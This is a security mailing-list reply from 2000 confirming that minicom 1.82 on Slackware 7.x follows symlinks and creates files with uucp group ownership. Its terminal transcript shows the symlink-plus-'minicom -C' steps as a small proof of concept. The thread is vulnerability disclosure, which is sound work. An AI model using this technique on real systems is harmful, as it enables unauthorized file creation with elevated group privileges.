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Re: RH 6.1 / 6.2 minicom vulnerability
From: Ben Lull <blull () valleylocal com>
Date: Wed, 30 Aug 2000 17:03:45 -0700
Sylvain Robitaille wrote:
Ben Lull wrote:... Yep Slackware (7.x) too using minicom 1.82 and 1.82.1One thing Ben's example didn't show is confirmation that this problem follows symlinks on his system, and creates the file accoring to the umask, which I've found to be the case on mine:
/* snip */ And the confirmation on Slackware 7.x using minicom 1.82 and 1.82.1... Slackware 7.0 me@technolust> ln -s /tmp/foo . me@technolust> ls -al /tmp/foo ls: /tmp/foo: No such file or directory me@technolust> (umask 2; minicom -C foo) minicom: cannot open /dev/ttyS1: Permission denied me@technolust> ls -al /tmp/foo -rw-rw-r-- 1 me uucp 0 Aug 30 16:49 /tmp/foo Slackware 7.1 me@mos> ln -s /tmp/foo . me@mos> ls -al /tmp/foo ls: /tmp/foo: No such file or directory me@mos> (umask 2; minicom -C foo) minicom: cannot open /dev/ttyS1: Permission denied me@mos> ls -al /tmp/foo -rw-rw-r-- 1 me uucp 0 Aug 30 16:46 /tmp/foo Thanks, Ben Lull *** * Ben Lull * Valley Local Internet, Inc * Systems Administrator ***
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Current thread:
- RH 6.1 / 6.2 minicom vulnerability Michal Zalewski (Aug 21)
- Re: RH 6.1 / 6.2 minicom vulnerability Fred Souza (Aug 22)
- Re: RH 6.1 / 6.2 minicom vulnerability Moritz Hardt (Aug 22)
- Re: RH 6.1 / 6.2 minicom vulnerability Roman Drahtmueller (Aug 23)
- Re: RH 6.1 / 6.2 minicom vulnerability denis (Aug 22)
- Re: RH 6.1 / 6.2 minicom vulnerability Andreas Hasenack (Aug 22)
- Re: RH 6.1 / 6.2 minicom vulnerability Kris Kennaway (Aug 23)
- Re: RH 6.1 / 6.2 minicom vulnerability Dpk (Aug 25)
- <Possible follow-ups>
- Re: RH 6.1 / 6.2 minicom vulnerability Ben Lull (Aug 22)
- Re: RH 6.1 / 6.2 minicom vulnerability Sylvain Robitaille (Aug 30)
- Re: RH 6.1 / 6.2 minicom vulnerability Ben Lull (Aug 31)
- Re: RH 6.1 / 6.2 minicom vulnerability Sylvain Robitaille (Aug 30)